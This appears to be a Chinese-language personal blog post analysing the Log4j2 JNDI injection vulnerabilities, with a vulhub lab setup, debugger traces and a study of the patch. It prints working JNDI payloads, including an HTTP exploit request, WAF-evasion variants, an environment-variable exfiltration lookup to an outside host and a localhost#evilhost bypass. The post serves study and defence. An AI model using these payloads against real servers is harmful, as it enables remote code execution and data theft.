ORXIAIN ISLAND
博客 / BLOG POST
2025 - 2026
READING

JavaSec - Log4j2

+

对这个漏洞的印象挺深刻的,MC服务器也用了Log4j作为日志框架,你在聊天框里输入这个能打服主的服务器

  • 2.15.0 <= : 2021-44228 RCE

  • 2.15.0 = : 2021-45046 RCE

  • 2.16.0 = : 2021-45105 DOS

<= 2.15.0

使用vulhub搭建环境

version: '2'
services:
 solr:
   image: vulhub/solr:8.11.0
   ports:
    - "55541:8983"
    - "55542:5005"

在vps启动jndimap

payload:

GET /solr/admin/cores?action=${jndi:ldap://IP:1389/Basic/DNSLog/2ac25f27c8.ipv6.1433.eu.org.} HTTP/1.1
Host: 192.168.124.204:55541
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

调试

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency> 
package com.orxiain;

import org.apache.logging.log4j.*;

public class Log4j2Exploit {
    private static final Logger logger = LogManager.getLogger(Log4j2Exploit.class);

    public static void main(String[] args) {
        // 触发漏洞的恶意payload
        String payload = "${jndi:ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==}";
        // 记录包含恶意payload的日志
        logger.error("Received payload: {}", payload);
        System.out.println("Payload logged. Check if exploit was triggered.");
    }
}

使用JNDIMap作为攻击服务器软件

在调用了logger的地方打点

首先我们的日志信息被打包为了message

随后调用logMessage的log方法,然后loggerConfig.log,再然后LoggerConfig.log(),再调用一个重载的log到processLogEvent

然后一直调用到`MessagePatternConverter`的format方法⬇️,在这里代码通过反复遍历字符串的每个字符得到占位符的字符串(注释的TODO说是可以优化这里的代码,现在看来确实有点笨

跟进这个replace,里面主要是替换占位符的处理逻辑

这里的substitute又调用了另一个重载substitute,将priorVariables设置为Null,buf变量就是jndi链接了,最后这个substitute⬇️(这个函数也太长了

这个遍历查询了buf中所有$开头的字符串,为后面的变量替换做准备

最后拿到:`jndi:ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==`,拿到之后出来继续走。若 valueEscapeDelimiterMatcher 不为 null,就检查当前位置 i 是否匹配转义分隔符。若匹配到转义分隔符(matchLen 不为 0),先构建变量名前缀 varNamePrefix,再初步设置 varName。接着进入内层 for 循环,从转义分隔符之后的位置开始查找变量默认值分隔符。若找到变量默认值分隔符,就更新 varNamevarDefaultValue,然后跳出内层和外层循环。

最后终于,跳出对占位符和前缀的获取循环之后调用了resolveVariable方法,在其中调用了lookup方法

可以关注以下这个方法前的一些处理方法,`checkCyclicSubstitution(varName, priorVariables);`处理了可能发生的循环替换情况,当在priorVariables中找到已替换的变量则停止替换操作,阻止循环替换的发生

来到Interpolator的lookup⬇️,传入了当前的log事件对象和变量名,通过`:`获取到前缀`jndi`,然后将var剪掉了前面的前缀和:的部分拿到ldap链接

然后拿着前缀在strLookupMap中查询得到需要的strlookup对象

最后拿着这个对象查询,触发JNDI

感觉这个日志处理过程还是比较复杂的,不知道当时是如何被发现的🤔

完整堆栈

lookup:207, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2034, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1899, AbstractLogger (org.apache.logging.log4j.spi)
error:866, AbstractLogger (org.apache.logging.log4j.spi)
main:12, Log4j2Exploit (com.orxiain)

其他协议利用与绕过

能lookup了,那么也可以尝试其他的协议利用来绕过一些waf限制

  • RMI:` ```${jndi:rmi://恶意服务器/Exploit}``` `

  • DNS:` ```${jndi:dns://恶意DNS服务器/记录查询}``` ` 信息搜集

  • HTTP:` ```${jndi:http://恶意服务器/Exploit}``` `

此外log4j支持内联变量:`${${lower:J}ndi:xxxxxx}` 也可以:` ```${${::-J}ndi:ldap://127.0.0.1:1389/Calc}``` `

${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};
  
${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";
  
${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";
  
${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";
  
${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";

${jndi:ldap://${env:LOGNAME}.xxx.com} -环境信息外带

特殊字符upper替换

ı => upper => i (Java 中测试可行)
ſ => upper => S (Java 中测试可行)
İ => upper => i (Java 中测试不可行)
K => upper => k (Java 中测试不可行)

修复

JNDI Lookup在2.15.0默认关闭(log42.formatMsgNoLookups为true),仅允许javaldapldaps协议,且ldap协议仅能访问Java原始对象(如序列化数据),默认仅允许本地主机的JNDI请求,远程主机需显式配置允许

2.15.0 = :

我们看看这个版本的代码具体改了什么,来到`toSerializable:344, PatternLayout$PatternSerializer` 这里是对log循环调用format方法的地方,当buf是jndi链接时进入另一个format方法⬇️

进去之后就发现不对劲,调用的是LineSeparatorPatternConverter类的format方法而不是PatternFormatter的

传入的字符串作为StringBuilder的一个新对象,调用了append方法直接把payload添加到字符串后面了

为了绕过,肯定不能走这个converter的format方法

还有什么format方法呢?现在MessagePatternConverter的format直接返回报错用不了,但是这个类中有些内置类也实现了format,其中LookupMessagePatternConverter的format逻辑⬇️,其中调用了StrSubstitutor.replaceIn进行变量替换,继而调用substitute()

回来了都回来了,那么如何将converter设置为LookupMessagePatternConverter?我们来看converter的获取方法,也就是MessagePatternConverter.newInstance⬇️,可以看到为了到达LookupMessagePatternConverter需要经过两层判断:1. lookup为true ;2. config不为NULL;

config已经有了,我们看loadLookups方法⬇️

  • options 数组不为 null。

  • options 数组中至少有一个元素忽略大小写后等于 “lookups”。

打点看看是怎么调用到这里来的

......
newInstance:89, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
createConverter:590, PatternParser (org.apache.logging.log4j.core.pattern)
......

定位到PatternParser类,这里调用newInstanceMethod.invoke就是通过反射调用newinstance获取到Converter对象⬇️,parms是传入的参数

574行附近找到赋值options的逻辑

看看调用creatConverter的地方,打个点⬇️,可以看到msg打得内容就是我们的payload,调用方法上面初始化了options的列表,并调用了extractOptions方法

看一下extractOptions方法,它对组合之后的log内容进行花括号匹配,每匹配一次`{`depth加一,找到`}`减一,最终保证所有选项加载完成

`options.add(pattern.substring(begin, i - 1));`将匹配到的内容添加到options中

调试一下我们就会发现payload当作了`%msg%`,原因是禁用了%msg的Lookup功能导致了无法进行options的设置操作,所以lookup根本就绕不过去啊我草

然后没招了,查阅文章发现好像没有完全绕过的办法,CVE2021-45046使用了上下文查找模式会触发lookup

使用条件就是日志的配置文件需要设置为上下文查找模式,也就是说模板中需要有`${ctx:myContext}`,感觉已经不太通用了,做法是在resources里面创建log4j2.xml⬇️,然后调用ThreadContext.put触发log

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
    <Appenders>
        <Console name="Console" target="SYSTEM_OUT">
            <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-S5Slevel %logger{36} ${ctx:myContext} - %msg%n" />
        </Console>
    </Appenders>
    <Loggers>
        <Root level="error">
            <AppenderRef ref="Console"/>
        </Root>
    </Loggers>
</Configuration>

此时已可以发起请求,那么如何RCE

定位到JndiManager,看看lookup方法修改了什么,前面判断了URI协议,然后通过uri.getHost()获取到IP,判断IP是否是本地IP,这里可以通过`ldap:// ```127.0.0.1#evilhost.com``` `绕过,因为gethost方法会取#前的IP,那么这里的条件也是你的攻击服务器得用域名了

这里添加了防止加载远程对象,那么普通的JNDI打不了,但是在上面我们可以发现关于反序列化数据额度处理逻辑

虽然做了些简单的过滤,但是我们可以依靠这里的JNDI自动反序列化逻辑打第三方包的链子,那么我们的利用条件又要加上一条

以上是利用原理,具体复现还没成功,这利用起来也太鸡肋了,先这样吧

Tools

https://github.com/alexbakker/log4shell-tools

https://github.com/mbechler/marshalsec

Links

https://blog.csdn.net/weixin_43847838/article/details/122490319

https://www.freebuf.com/sectool/313774.html

https://blog.csdn.net/hilaryfrank/article/details/121939902

https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md

https://www.freebuf.com/articles/web/341857.html

https://github.com/cckuailong/Log4j_CVE-2021-45046

https://mp.weixin.qq.com/s/Jaq5NTwqBMX7mKMklDnOtA

https://blog.csdn.net/weixin_44047654/article/details/128300416

END